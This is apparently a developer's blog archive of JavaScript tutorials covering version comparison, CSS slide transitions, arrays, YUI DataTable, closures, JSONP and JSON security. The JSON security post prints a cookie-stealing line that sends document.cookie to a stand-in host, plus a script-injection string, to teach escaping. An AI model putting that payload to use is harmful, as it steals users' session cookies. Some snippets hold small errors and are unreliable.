Showing posts with label javascript. Show all posts
Showing posts with label javascript. Show all posts

Friday, May 25, 2012

JavaScript Function to Compare Versions

Useful to compare version numbers, e.g., Flash Player versions.

Only work with digital versions.

Live demo: jsfiddle example

function compVersions(strV1, strV2) {
  var nRes = 0
    , parts1 = strV1.split('.')
    , parts2 = strV2.split('.')
    , nLen = Math.max(parts1.length, parts2.length);

  for (var i = 0; i < nLen; i++) {
    var nP1 = (i < parts1.length) ? parseInt(parts1[i], 10) : 0
      , nP2 = (i < parts2.length) ? parseInt(parts2[i], 10) : 0;

    if (isNaN(nP1)) { nP1 = 0; }
    if (isNaN(nP2)) { nP2 = 0; }

    if (nP1 != nP2) {
      nRes = (nP1 > nP2) ? 1 : -1;
      break;
    }
  }

  return nRes;
};

alert(compVersions('10', '10.0')); // 0
alert(compVersions('10.1', '10.01.0')); // 0
alert(compVersions('10.0.1', '10.0')); // 1
alert(compVersions('10.0.1', '10.1')); // -1

Tuesday, April 3, 2012

CSS3 Transition: Slideup Box (Take 2)

Demo and source code

This post is to propose a better solution for creating an expandable/slideup box. My previous implementation has a flaw -- the fixed "max-height" truncate part of the content when its height grows. This solution will resolve this issue.

First, we have the following markup.

<article>
  <h2>Click me to expand</h2>
  <div class="content_w">
    <div class="content">
      Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do 
      eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut 
      enim ad minim veniam, quis nostrud exercitation ullamco laboris 
      nisi ut aliquip ex ea commodo consequat...
    </div>
  </div>
</article>

When users click inside an <article>, the content area will slide down (expand) or slide up (collapse). The title (<h2>) will always be visible.

The idea is to wrap the content inside a wrapper (div.content_w). The wrapper will hide any overflown content. We will change the height of the wrapper to create a slide up/down effect.

article .content_w {
  overflow: hidden;
  height: 0;
}
article .content_w.transition {
  -webkit-transition: height 0.5s;
     -moz-transition: height 0.5s;
       -o-transition: height 0.5s;
          transition: height 0.5s;
}

The wrapper needs to have "overflow: hidden" in order to clip the overflown content. We set "height: 0" to collapse the box initially.

The transition will take effect on the wrapper's height. When the box needs to be collapsed, we set the wrapper's height to 0. CSS3 transition will smoothly slide up the box. When expanding (sliding down), we set the wrapper's height back to the height of its enclosed content.

$('article').on('click', function() {
  slide($('.content', this)); 
});

function slide(content) {
  var wrapper = content.parent();
  var contentHeight = content.outerHeight(true);
  var wrapperHeight = wrapper.height();

  wrapper.toggleClass('open');
  if (wrapper.hasClass('open')) {
    setTimeout(function() {
      wrapper.addClass('transition').css('height', contentHeight);
    }, 10);
  }
  else {
    setTimeout(function() {
      wrapper.css('height', wrapperHeight);
      setTimeout(function() {
        wrapper.addClass('transition').css('height', 0);
      }, 10);
    }, 10);
  }

  wrapper.one('transitionEnd webkitTransitionEnd transitionend oTransitionEnd msTransitionEnd', function() {
    if(wrapper.hasClass('open')) {
      wrapper.removeClass('transition').css('height', 'auto');
    }
  });
}

The trick is that we don't want to keep a fixed height on the wrapper when it finishes expanding. A fixed height will clip its content when it grows, or leave unnecessary space at the bottom when the content shrinks. To fix that, we need to set height back to "auto" in order to "relax" the height. However, setting "height: auto" on HTML elements with CSS3 transition will make the transition have no effect. We have to remove transitions before setting "height: auto".

Demo and source code

Tested in Chrome, Safari, FireFox, and Opera Mobile Emulator


Saturday, March 31, 2012

Sliding / Expandable / Collapsible Box with max-height CSS Transition

Note


An improved solution can be found in this post.








Source code and demo

One common CSS3 Transition is to slide up (collapse) and slide down (expand) a box by manipulating its "height" attribute, e.g. changing 400px to 0. However, when either height is set to "auto", the transition won't work anymore. This topic has been discussed here.

The solution is to change the "max-height" instead of "height". Max-height is a CSS attribute supported in almost all modern browsers (see compatibility chart here). It defines the maximum height of an element. We can use it to "shrink" a box by setting max-height to 0, or expand a box by restoring its original height. In order to restore the original height, we need to retain the computed height of the box content.

Adam at stackoverflow.com provided a solution inspired by this same idea. I simplified the solution by removing some of the JavaScript code.

HTML markup


Here I create an item (div.item) with a title (<h2>) and content area (div.content). I want to make the content area slide down (expand) or slide up (collapse) once the item is clicked. The title will always be visible.

<div class="item">
    <!-- Title -->
    <h2>Click me to expand</h2> 

    <!-- Content wrapper -->
    <div class="content_w"> 

        <!-- Content -->
        <div class="content"> 
            Lorem ipsum dolor sit amet, consectetur adipisicing elit, 
            sed do eiusmod tempor incididunt ut labore et dolore 
            magna aliqua. Ut enim ad minim veniam, quis nostrud 
            exercitation ullamco laboris nisi ut aliquip ...
        </div>
    </div>
</div>

I put the content div inside a wrapper (div.content_w). Instead of changing the max-height of the real content div, we change the wrapper's. This way, we can achieve the sliding up/down effect while still retaining the computed height of the real content div.

Style sheet


Here is the style sheet. Please notice that the max-height and transition are set on the content wrapper rather than the content itself. The content will remain unchanged no matter if the wrapper is collapsed or expanded. The content wrapper needs to have "overflow: hidden" in order to hide its contained content when the wrappers's height becomes less than the content's.

.item {
    width: 400px;
}

/* Content wrapper */
.content_w {
    overflow: hidden;
    max-height: 0;
    -webkit-transition: max-height 0.5s;
       -moz-transition: max-height 0.5s;
         -o-transition: max-height 0.5s;
            transition: max-height 0.5s;
}

JavaScript


With a little help from jQuery, I toggle the max-height between 0 and the content height based on the "open" class which I use simply to mark the expanded and collapsed state.

(function($) {

  // max-height transition. 
  // Inspired by http://jsfiddle.net/adambiggs/MAbD3/
  function toggleContent($contentWrapper) {
    // Get the computed height of the content
    var contentHeight = $('.content', $contentWrapper).outerHeight(true);

    // Add or remove class "open"
    $contentWrapper.toggleClass('open');

    // Set max-height
    if ($contentWrapper.hasClass('open')) {
      $contentWrapper.css('max-height', contentHeight);
    }
    else {
      $contentWrapper.css('max-height', 0);
    }
  }

  // Listen to click events on the item element 
  $('.item').on('click', function(e) {
    e.preventDefault();

    toggleContent($('.content_w', this)); 
  });

})(jQuery);​

One thing to notice is that I didn't use jQuery to do the transition. The transition is done by CSS. jQuery is used only for selecting DOM elements, marking elements, and applying CSS styles. You can replace jQuery with any of your favorite JavaScript libraries.

Limitations


The max-height is set to the content height when it is expanded. So if the content changes or re-flows later, some content will be clipped. The extra code that Adam put there is to prevent this by setting max-height to a really big number at the end of the expand transition. However, if you need a simple slideup box whose content and layout won't change after expansion, then this solution should work fine for you.

An improved solution can be found in this post.

Friday, March 2, 2012

Don't use # to create empty links

An empty link is a <a> tag that doesn’t link to anywhere. Oftentimes, we have these links where we want to ignore the href attribute and customize the behavior for the click events. To make an empty link, usually, we put a “#” in the href attribute, like this:

<a href=”#”>link</a>

This approach is simple, however, the “#” href introduced two issues:

1. It creates an entry in browser history whenever users click on the link.

2. (This is caused by the first issue) If the link is in the middle of a page, after clicking the link, users will be brought back to the top of the page.

A # in a href attribute points to an anchor. If the anchor name is empty, it refers to the top of the current page itself. When user clicks on such # link, browsers treat # as a normal navigation, and put it to the history stack. When users click on the back button, they expect a previous page, however, what they will see is the current page again, because the # is at the top of the history stack, and it points to the current page. If users click the # link multiple times, a same amount of # entries will be put to the history stack, and users have to click back button several times in order to go back to the real previous page. This behavior certainly introduces confusions to users.

Since browser treats # as a normal navigation, and # refers to the top of the current page, when users click on the # links, browser will display the current page with the vertical scroll bar being reset to the top. User will lose their scrolling positions. This will be a big problem for long pages.

The correct way to create an empty link is:

<a href=”javascript:void(0);”>link</a>

This will make browser ignore the href attribute, and won’t introduce a new entry in browser history.

Wednesday, February 22, 2012

JavaScript Array Cheatsheet

var a = []; // An empty array
var b = [1, 2, 3];

b.length // Note: length is NOT a method
// 3

// Appends elements to an array, and returns the new length
a.push(4); 
// 1
// a = [4]
a.push(5, 6);
// 3
// a = [4, 5, 6]

// Merge two arrays. 
// This method will NOT affect the original arrays
b.concat(a);
// [1, 2, 3, 4, 5, 6]
// a = [4, 5, 6]
// b = [1, 2, 3]
var c = b.concat(a, [7], [8, 9, 10]);
// a = [4, 5, 6]
// b = [1, 2, 3]
// c = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]

// Removes the last element, and returns that element
c.pop(); 
// 10
// c = [1, 2, 3, 4, 5, 6, 7, 8, 9]

// Removes the first element, and returns that element
c.shift(); 
// 1
// b = [2, 3, 4, 5, 6, 7, 8, 9]

// Add elements to the beginning of the array, 
// and returns the new length
c.unshift(1); 
// 9
// c = [1, 2, 3, 4, 5, 6, 7, 8, 9]
c.unshift(-1, 0);
// 11
// c = [-1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9]

// Array can have mixed types of elements
c = [1, 2, '3', 'a', 'b', true]; 

The versatile splice method adds and/or deletes elements to/from an array, and returns the deleted elements.

array.splice( index, count, element1, ..., elementN )

var c = [1, 2, '3', 'a', 'b', true]; 

// Deletes 1 element starting at the element of index 2 (0-based), 
// and returns the deleted elements
c.splice(2, 1); 
// ['3']
// c = [1, 2, 'a', 'b', true]

// Deletes 2 elements starting at the element of index 1 (0-based), 
// and returns the deleted elements
c.splice(1, 2); 
// [2, 'a']
// c = [1, 'b', true]

// Deletes 1 elements starting at the element of index 1 (0-based), 
// Inserts 'A' and 'B', 
// and returns the deleted elements
c.splice(1, 1, 'A', 'B')
// ['b']
// c = [1, 'A', 'B', true]

// Inserts 'X' at index 1
c.splice(1, 0, 'X');
// [] Didn't delete anything
// c = [1, 'X', 'A', 'B', true]

Saturday, October 15, 2011

Working with YUI2 Data Table and Script Node Data Source

Data Table might be one of the most powerful widgets in the YUI2 library. It supports column formatter, sorter, pagination, column resizing, column reordering, and most importantly, data binding. Like other YUI2 widgets, Data Table is able to utilize YUI's universal Data Source APIs to bind data to UI components. You just specify where the data comes from, how the data looks like, and which UI parts to bind certain pieces of data. The Data Source will do the heavy lifting for you. It takes care of sending/retrieving data, parsing data, and feeding parsed data to the associated widget. Pretty powerful stuff.

In this article, I will demonstrate how to use YUI DataTable and DataSource to create a page that lets users search client records by client's first name, last name, and ID. If any client record is found, we display the search results in a table on the same page.

For DataSource, I use ScriptNodeDataSource. One of the major advantages of the ScriptNodeDataSource is that its data requests can be sent across domains by using JSONP (JSON Padding) instead of XHR. More discussions about JSONP can be found here.

First, let's define a ScriptNodeDataSource and response schema.

// Setup remote data source
var ds = new YAHOO.util.ScriptNodeDataSource(
    'http://www.anotherdomain.com/search/');

// The response JSON will have a results array
// Each result object has userId, firstName, lastName, birthDate, 
// address1, address2, address3, city, state, and zip properties.
ds.responseSchema = {
    resultsList: "results", 
    fields: [ "userId", "firstName", "lastName", "birthDate", 
        "address1", "address2", "address3", "city", "state", "zip" ]
};

Define table columns. Use column formatters for column name, date, and address. Sort table rows by names.

//
// Column formatters
//

// Format column Name
var formatName = function(elCell, oRecord, oColumn, oData) {
    // Concat the last name and first name
    var strName = oRecord.getData("lastName") + ", " 
        + oRecord.getData("firstName");

    // Wrap name in a link that goes to client details page
    var strUserId = oRecord.getData("userId");
    elCell.innerHTML = '<a href="' + getResultUrl(strUserId) 
        + '">' + strName + '</a>';
};

// Format column DOB
var formatDate = function(elCell, oRecord, oColumn, oData) {
    if (YAHOO.lang.isString(oData))
    {
        if (Y.env.ua.ie > 0)
        {
            // IE has problem to parse date string "yyyy-mm-ddT00:00:00"
            // Here, we fall back to manipulating the date string
            elCell.innerHTML = oData.split("T")[0].replace(/-/g, "/");
        }
        else
        {
            var oDate = new Date(oData);
            elCell.innerHTML = oDate.format("mm/dd/yyyy");
        }
    }
};

// Format column Address
var formatAddress = function(elCell, oRecord, oColumn, oData) {
    var strAddr = oRecord.getData("address1") + " "
        + oRecord.getData("address2") + " " 
        + oRecord.getData("address3");
    strAddr = strAddr.trim() + ", " + oRecord.getData("city") + ", " 
        + oRecord.getData("state") + " " + oRecord.getData("zip");

    elCell.innerHTML = strAddr;
};

//
// Sorters
//

// Sort by name
var sortName = function(a, b, desc) {
    var fnComp = YAHOO.util.Sort.compare;
    var compState = fnComp(a.getData("lastName"), 
            b.getData("lastName"), desc);
    if (compState == 0)
    {
        compState = fnComp(a.getData("firstName"), 
            b.getData("firstName"), desc);
    }

    return compState;
};

// Column definitions
var colDefs = [ 
    { 
        key: "name", label: "Name", 
        resizeable: true, sortable: true, 
        formatter: formatName, // formatName column formatter
        width: 120, 
        sortOptions: { sortFunction: sortName } // sortName sort function
    }, 

    {
        key: "address", label: "Address", 
        resizeable: true, sortable: true, 
        formatter: formatAddress, // formatAddress column formatter
        width: 250
    },

    {
        key: "birthDate", label: "DOB", 
        resizeable: true, sortable: true, 
        formatter: formatDate // formatDate column formatter
    },

    {
        key: "userId", label: "Client ID", 
        resizeable: true, sortable: true
    }
];

Setup table configuration. When the table is created, the data table will send out an initial request to get data. We want to capture this initial request, and prevent the server side from starting any search work, because at this moment our user hasn't filled any search keywords in the text fields yet (First Name, Last Name, and Client ID text fields). The initial request is not triggered by our users. It has to be filtered out. To do this, we append "&init=true" parameter to the initial request's URL so the server side will know.

// Table configurations
var tableCfg = {
    initialRequest: "&init=true", 
    sortedBy: {
        key: "name", dir: "asc"
    }, 
    width: "100%", 
    height: "30em", 
    MSG_LOADING: "", 
    MSG_EMPTY: ""
};

The beef is here --- the search function which is responsible of gathering user inputs, validation, clearing previous search results in the table, constructing search queries, sending out query requests, displaying returned results, and handling errors.

// Field validation
var validate = function(params)
{
    // Validation logics go here ...

    return true;
};

// Search function. 
// It will be invoked when users click the "Search" button
var fnSearch = function(e) {

    // Suppress form submission
    YAHOO.util.Event.stopEvent(e);

    // Get search field values
    var params = {
        "firstName": document.getElementById("firstName").value,
        "lastName": document.getElementById("lastName").value,
        "userId": document.getElementById("userId").value
    };

    // Field validations
    if (validate(params) == false)
    {
        return false;
    }

    // Callbacks for datasource.sendRequest  
    var callbacks = {
        success: function(oRequest, oParsedResponse, oPayload) {
            console.log("Retrieved search results");

            // Enable the table
            table.undisable();
    
            // Flush and update the table content
            table.onDataReturnInitializeTable.apply(table, arguments);

            // Sort by name in ascending order
            table.sortColumn(table.getColumn("name"), 
                YAHOO.widget.DataTable.CLASS_ASC);

            // Update the count of search results
            document.getElementById("results-count").innerHTML = 
                " - " + oParsedResponse.results.length + " result(s)";
        },

        failure: function() {
            console.log("Failed to get search results");

            // Failure handling code
        },

        scope: table
    };

    // Delete any existing rows, clear result count, 
    // and disable the table
    table.deleteRows(0, table.getRecordSet().getLength());
    document.getElementById("results-count").innerHTML = "";
    table.disable();

    // Construct search query
    var strQuery = "";
    for(var key in params)
    {
        strQuery += "&" + key + "=" + params[key].trim();
    }

    // Send out query request
    ds.sendRequest(strQuery, callbacks);
    console.log("Data source sent out request");

    return false;
};

Hook up the search function with the button click event. And finally, create the table.

YAHOO.util.Event.addListener("search-btn", "click", fnSearch);

// Construct data table. Pass in column definitions, data source, 
// and table configuration
var table = new YAHOO.widget.ScrollingDataTable("results-table", 
    colDefs, ds, tableCfg); 
console.log("Constructed data table");

Monday, September 5, 2011

Implement private members in JavaScript

One of the reasons that JavaScript seems unnatural to many programmers with OO background is that JavaScript lacks a lot of OO parts in syntax. For example, it doesn't have class or access modifiers, although with some tricks these concepts can still be implemented in JavaScript. Today, I will look into how to implement private properties and methods.

Pseudo Private Marker


Properties in objects are public, so are methods. Anyone who gets hold of an object is able to access its properties, methods, even its prototype's properties and methods all the way to the root prototype object (prototype is just another property after all). One approach to 'implement' private members is to make private members 'look' like private, and hope other developers will not access or modify them. Over time, programmers adopted a convention of putting an underscore in front of a property or method name. This underscore acts like a marker to say "Hey, this is private. Don't touch it!". This kind of convention should sound familiar to Python developers. Other flavors of the same convention include adding two underscores at the front or another underscore at the end, e.g. __firstName or _firstName_.

var helloKitty = {
    _meow: function() { // Private
        return 'Meow~~';
    }, 
    hello: function() {
        return this._meow();
    }
};

helloKitty.hello(); 
// 'Meow~~'

The pro of this approach is that it is really easy. No extra code is required. However, this approach puts a lot of trusts in the hands of your code users. This can be both good and bad. The upside is that when users know what they are dong and really want to access or extend your private members, they can easily do so. After all the underscore is just a marker which doesn't provide any constraint over how a member is accessed.

var helloKitty = {
    _meow: function() {
        return 'Meow~~';
    }, 
    hello: function() {
        return this._meow();
    }
};

// Extend helloKitty._meow which is private
var superMeow = helloKitty._meow;
helloKitty._meow = function() {
    return superMeow() + ' mew~~~';
};

helloKitty.hello();
// 'Meow~~ mew~~~'

However, when API authors really want to forbid access to private members, this approach cannot enforce such constraint. Lacking of real access control is not ideal to most OO purists.

Scope and Closure


The following JavaScript code defined one global variable (myName), and two global functions (sayHello and greet).

var myName = 'David';
var sayHello = function(name) {
    return 'Hello, ' + name;
};

var greet = function() {
    return sayHello(myName);
};

greet();
// 'Hello, David'

According to the JavaScript good practice, we should try to avoid creating globals whenever possible. In this example, the variable myName and function sayHello are mere implementation details of the greet function. We should make them private.

Attempt 1

var greet = function() {
    var myName = 'David';
    
    var sayHello = function(name) {
        return 'Hello, ' + name;
    };

    return sayHello(myName);
};

greet();
// 'Hello, David'

Most JavaScript programmers will come up with this solution by moving private pieces into the function. Actually, in most cases, this solution should be good enough. However, it should be noticed that the local variables and functions will be created every time the function is invoked. For this simple example, this solution is fine. However, for functions which contain a lot of local variables, functions, or have massive preparation code in the functions, the overhead to re-create these locals will be more significant.

Attempt 2

With the help of self-executing function and closure, we created a scope where private variables and functions live inside:

var greet = (function() {
    var myName = 'David'; // Private variable

    var sayHello = function (name) { // Private function
        return 'Hello, ' + name;
    };

    return function() { // Return a function
        return sayHello(myName);
    };
})(); // Notice the ending ()

greet();
// 'Hello, David'

The self-executing function creates a scope that hides variable name and sayHello from the outside world. Meanwhile, because of closure (one of JavaScript's most powerful features), the returned function is able to hold references to the private variable name and private function sayHello.

Please notice that the code to create the myName variable and sayHello function is executed only once. When the greet function is called, myName and sayHello are already there and won't be re-created again.

This solution works well for private variables which won't need to change for different function invocations. In our case, variable myName doesn't change when we call the greet function. In another world, we can think myName as a private constant.

Instance and Class Private Members


var Person = function() {
    var myName = 'David'; // Private variable

    var sayHello = function(name) { // Private function
        return 'Hello, ' + name;
    };

    this.greet = function() { // Privileged method
        return sayHello(myName);
    };
};

var david = new Person();
david.hello();
// 'Hello, David'

This is a typical constructor function. JavaScript has no implementation of class. A constructor function might be the closest thing to a class. Here we defined a Person 'class' which has a private variable name, a private function sayHello, and a privileged method greet.

Variable myName and function sayHello are visible only in the constructor function Person. They are not accessible outside of the scope created by the constructor function.

Moreover, because of the closure, the function this.greet is able to access the private variable myName and private function sayHello. We call function this.greet a privileged method. It is exposed to the public, and it can see the class' internal secrets -- private members name and sayHello.

This approach is pretty an ideal implementation of private members, however, every time a constructor function is called to create an object, its local members (variables and functions) will be re-created. In our case, myName, sayHello, and this.greet will be re-created every time the Person constructor is invoked. This is not efficient, and wastes memories. It is recommended to have shared members especially reusable functions assigned to the prototype object outside of the constructor function. Here, we're going to do so to the greet function which is meant to be public and reusable.

var Person = function() {
    var myName = 'David'; // Private variable

    var sayHello = function(name) { // Private function
        return 'Hello, ' + name;
    };
};

Person.prototype.greet = function() { // Shared public function
    ... ...
};

The greet public function is created only once, and it is shared by all instances created by the Person constructor. However, here comes a problem: how can we access the private members defined in the constructor from the greet function?

We can change myName and sayHello to this.myName and this.sayHello, and in the greet function we are able to access them by calling this.myName and this.sayHello. However, doing so made myName and sayHello public, which defeats our original purpose.

Our goal is to have myName and sayHello private but keep greet public, meanwhile, have greet shared by all instances created by the Person constructor.

To achieve this goal, we again borrowed the power from self-executing functions and closures. This time, the self-executing function returns a constructor function which keeps references to the myName variable and sayHello function through the closure which is created by the constructor function.

var Person = (function() {
    var myName = 'David';

    var sayHello = function(name) {
        return 'Hello, ' + name;
    };

    // Constructor fucntion
    var Constr = function() {
    };

    // Public methods
    Constr.prototype.greet = function() {
        return sayHello(myName);
    };

    return Constr; // Return the constructor function

})(); // Don't forget the ()

var david = new Person();
david.greet();
// 'Hello, David'

Please notice that myName and sayHello are created only once. Once they are created, they are shared by all objects created by the constructor function, however, they are not accessible outside the constructor and the self-executing function.

myName and sayHello are not only private members, they are also class static members. Because these variable and function are bound to the constructor function (the closest thing to class in JavaScript) via closures, and thus shared by all instances created by the constructor.

Thursday, April 7, 2011

JSONP -- a cross-domain alternative to AJAX

AJAX utilizes XMLHttpRequest (XHR) APIs to send HTTP(s) requests to a web server and load server response directly in client-side script. XHR is the backbone of AJAX. It is widely used in so called web 2.0 applications, e.g. Google Gmail, Google Maps, and Facebook. Many libraries such as JQuery and YUI build on top of XHR to abstract the details and provide easy-to-use APIs for web developers and designers.

Unfortunately, XHR has a limitation. Due to the same origin policy, the server that receives the XHR requests and the client that sends out the requests need to be in the same domain. For example, the JavaScript in the page at www.example.com/demo.html can send out XHR request to www.example.com/service.php, however, it cannot send XHR requests to www.anotherexample.com/service.php, because example.com and anotherexample.com are two different domains.

Although it is meant to enforce web security, this policy created a common problem for web applications that need to consume external data (the data from external domain).

One of the solutions is to inject JavaScript coming from the external domain to the client page of the targeted domain. Because the injected JavaScript is evaluated in the client page, the script is treated as being from the same domain.

The following script inserts a "<script>" element to the head. The source of the inserted script points to the feed service at www.externaldomain.com, and passes along the "tag" parameter.

<script type="text/javascript">

var elHead = document.getElementsByTagName("head")[0];         
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = 'http://www.externaldomain.com/services/feed?tag=gaming';
elHead.appendChild(script);

</script>

The feed service at www.externaldomain.com takes the "tag=gaming" parameter as an input argument, retrieves a list of feeds related to gaming, and convert the gaming feeds into a JSON string. For example:

'{"feeds" : [ { "title" : "game1", "date" : "03-21-2011", "author" : "David Smith" }, { "title" : "game2", "date" : "03-22-2011", "author" : "Steve Yavorski" }, { "title" : "game3", "date" : "04-05-2011", "author" : "Kelly Lee" } ]}'

However, the service at externaldomain.com can not simply return this JSON string as response data. The "src" attribute of the script element that we're injecting should point to a JavaScript instead of a JSON string. The JSON string itself cannot be evaluated to lines of runnable JavaScript code. So what we need to do is to wrap the JSON string in JavaScript.

<script type="text/javascript">
var responseText = '{"feeds" : [ { "title" : "game1", "date" : "03-21-2011", "author" : "David Smith" }, { "title" : "game2", "date" : "03-22-2011", "author" : "Steve Yavorski" }, { "title" : "game3", "date" : "04-05-2011", "author" : "Kelly Lee" } ]}';
</script>

The above JavaScript code will be executed in the client page. JavaScript in the page is now able to parse variable responseText to get the gaming feeds.

<script type="text/javascript">
var feeds = parseJsonStr(responseText); // parseJsonStr is a pseudo function
</script>

What we did above can be summarized as below:
  • Inject a "<script>" element to the HTML head
  • Point the "src" attribute to an external service that takes parameters and gets response data
  • Wrap the response data in JavaScript
  • Reference and parse the response data in JavaScript

The 3rd step "Wrap the response data in JavaScript" is also called JSON Padding, and this is where JSONP comes from.

The above approach has two problems. First, we don't quite know when the injected script finishes loading and when the responseText variable is ready to be consumed. Second, we don't want to hardcode the variable name to "responseText". The server shouldn't dictate what name the variable should be. To fix these problems, we can implement a callback function that will be invoked when the response is ready.

<script type="text/javascript">
function callback(responseText /* or whatever name you want to give */) {
  var feeds = parseJsonStr(responseText);

  // Do something about feeds ...

}
</script>

On the server side, the generated JavaScript will call the callback and pass in the JSON string as an input argument to the function:

<script type="text/javascript">
callback('{"feeds" : [ { "title" : "game1", "date" : "03-21-2011", "author" : "David Smith" }, { "title" : "game2", "date" : "03-22-2011", "author" : "Steve Yavorski" }, { "title" : "game3", "date" : "04-05-2011", "author" : "Kelly Lee" } ]}');
</script>

This way, we captured the moment when the response is available, and removed the naming of the JSON string from the server side.

To make things better, the name of the callback function should not be hardcoded either. We can tell the server which callback function to call by passing the name of the callback function in the URL. Here we adjust the JavaScript injecting code a bit.

<script type="text/javascript">

function onDataReceived(responseText) {
  var feeds = parseJsonStr(responseText);

  // Do something about feeds ...

}

var elHead = document.getElementsByTagName("head")[0];         
var script = document.createElement('script');
script.type = 'text/javascript';

// callback=onDataReceived
script.src = 'http://www.externaldomain.com/services/feed?tag=gaming?callback=onDataReceived';

elHead.appendChild(script);

</script>

The server-side code takes the "callback=onDataReceived" parameter and passes the JSON string to the onDataReceived callback function:

<script type="text/javascript">
onDataReceived('{"feeds" : [ { "title" : "game1", "date" : "03-21-2011", "author" : "David Smith" }, { "title" : "game2", "date" : "03-22-2011", "author" : "Steve Yavorski" }, { "title" : "game3", "date" : "04-05-2011", "author" : "Kelly Lee" } ]}');
</script>

Implementation summary


What client side needs to do?
  • Inject a "<script>" element to the HTML head
  • Encode input arguments as query parameters into the URL of the script element's src attribute
  • Include the name of the callback function to the URL
  • Point the src attribute to an external service
  • Define the callback function that takes JSON string as input argument
  • Parse the JSON String in the callback function

What server side needs to do?
  • Implement service code to answer the client requests, and expose the service through HTTP(s)
  • Get all input arguments from the query parameters
  • Get the callback function name
  • Convert response data into JSON string
  • Pass the JSON string to the callback function

Security concern


The technique of the JavaScript injection is also employed in some Cross-site Scripting (XSS) attacks. Since the consumer of the external service has no control of the returned script, the consumer can be vulnerable to XSS attacks that are introduced by the returned script from the external service. It is recommended only applying this technique for trusted external services.

Saturday, September 18, 2010

JSON parsing, encoding, and security

JSON is a subset of JavaScript. Unlike other data formats such as XML, JSON can be used in JavaScript without big efforts. This is the main reason why JSON is widely beloved among web developers.

JSON string such as "{name: 'David'}" can be put into an eval function. eval function will call JavaScript interpreter and convert the string into a JSON object: {name: 'David'}.

var jsonStr = "{name: 'David'}";
var jsonObj = eval( "(" + jsonStr + ")" ); 
// jsonObj will be {name: 'David'}

This all looks easy. However, here comes the problem: eval function will execute whatever passed in. If jsonStr is "alert('Gotcha');", eval("alert('Gotcha');") will actually execute the alert call. This opens a wide door to cross-site scripting (XSS) attacks. For example, consider the following string passed in an eval function:

eval(
  '(new Image()).src = 
    "http://www.givemeyourcookie.com/steal_cookie?cookie=" + 
    escape(document.cookie);'
)

The above code will send your cookie to givemeyourcookie.com.

To fix this vulnerability, it is recommended to use a JSON parser to convert strings into JSON objects. A parser in some browsers which provide native JSON support can be even faster than the eval function.

Like the eval function, a JSON parser takes a string and outputs a JSON object. The difference is that the parser will process only when the passed-in string is a valid JSON string. For example, the JSON parser from YUI JavaScript library will throw a SyntaxError if the JSON string contains anything that violates JSON syntax.

var jsonStr = 'alert("Gotcha"); {"name" : "David"}';
var jsonObj = YAHOO.lang.JSON.parse(jsonStr); // SyntaxError

With a correct JSON string, the following code will run.

var jsonStr = '{"name" : "David"}';
var jsonObj = YAHOO.lang.JSON.parse(jsonStr);
alert(jsonObj.name); // Prompt "David"

Using JSON parser certainly solves the eval problem. However, this is only half of the story. We web developers usually use scripting language such as PHP or JSP to embed dynamic parts to a page. When we do that, we need to be careful about what we embed.

<script type="text/javascript">
  var jsonObj = 
    YAHOO.lang.JSON.parse('<s:property value="userProfile" />');
</script>

<s:property> is a tag from Struts 2 (a popular MVC framework in Java). What it does is getting a property, in this case a string representation of a userProfile, and embedding the property inside a pair of single quotes to construct a javascript string. The parse function then converts this string to a JSON object.

This will work fine if the userProfile property is a normal user profile:

<script type="text/javascript">
  // userProfile property is { "name": "David", "hobby": "Blogging" }. 
  var jsonObj = 
    YAHOO.lang.JSON.parse('{ "name": "David", "hobby": "Blogging" }');
</script>

However, code will break if the userProfile property is:

{ "name": "David", "hobby": "Blogging in Peet's Coffee" }

The single quote in "Blogging in Peet's Coffee" will prematurely terminate the string, which breaks the JavaScript syntax.

<script type="text/javascript">
  // { "name": "David", "hobby": "Blogging in Peet's Coffee" }. 
  var jsonObj = YAHOO.lang.JSON.parse(
    '{ "name": "David", "hobby": "Blogging in Peet' // Broken
    s Coffee" }');
</script>

Things could be even worse when userProfile is something like this:

{ "name": "David", "hobby": ""}');alert("Evil script goes here");</script>"}

Pass this property to the parse function, and you will get:

<script type="text/javascript">
  var jsonObj = YAHOO.lang.JSON.parse(
    '{ "name": "David", "hobby": ""}');alert("Evil script goes here");</script>"}');
</script>

This is equivalent to:

<script type="text/javascript">
  var jsonObj = YAHOO.lang.JSON.parse('{ "name": "David", "hobby": ""}');
  alert("Evil script goes here");
</script>
"}');
</script>

The above code will run despite the fact that the second </script> tag doesn't have a matched <script> tag. It's pretty scary that a raw JSON string could introduce such XSS attack to your web application, isn't it?

To fix the problem, we need to escape the single quote. We can use unicode \u0027 (equivalent to character ').

<script type="text/javascript">
  var jsonObj = YAHOO.lang.JSON.parse(
      '{ "name": "David", "hobby": "Blogging in Peet\u0027s Coffee" }');
</script>

In real world, all user inputs and database data need to be JavaScript-string escaped if they are directly embedded into JavaScript or event handler attributes (e.g. onclick). Single quote is just one of the characters that we need to escape. Here is a list of such characters and their escapes.

Character Escape Description
\\\Backslash
"\u0022Double quote
'\u0027Single quote
<\u003cLess than
>\u003eGreater than
=\u003dEquals
&\u0026Ampersand

I created a Java utility class to escape all these characters. The essential part looks like this:

// A map of characters and their escapes
private static Map<String, String> _mapChar2Escape = 
  new LinkedHashMap<String, String>();

static
{
  // Be sure to have backslash at first.  
  // We don't want to escape backslashes in escaped characters.
  _mapChar2Escape.put("\\", "\\\\");    // Backslash
  _mapChar2Escape.put("\"", "\\u0022"); // Double quote
  _mapChar2Escape.put("'", "\\u0027");  // Single quote
  _mapChar2Escape.put("&", "\\u0026");  // Ampersand
  _mapChar2Escape.put("<", "\\u003c");  // Less than
  _mapChar2Escape.put(">", "\\u003e");  // Greater than
  _mapChar2Escape.put("=", "\\u003d");  // Equals
}

/**
 * Returns a new string that has JavaScript literals escaped.
 * 
 * @param strSource Source string
 * @return
 */
public static String escapeJavaScript(String strSource)
{
  String strEscaped = strSource;

  for (Map.Entry<String, String> entry : _mapChar2Escape.entrySet())
  {
    strEscaped = strEscaped.replace(entry.getKey(), entry.getValue());
  }

  return strEscaped;
}

That's it.

Saturday, August 29, 2009

Syntax highlight in blogspot

In the "Layout" -> "Edit HTML" page, add the following code after <!-- end outer-wrapper -->, and save the template.

<!-- SyntaxHighlighter -->
<script type='text/javascript' 
src='http://alexgorbatchev.com/pub/sh/2.0.320/scripts/shCore.js'></script>
<script type='text/javascript' 
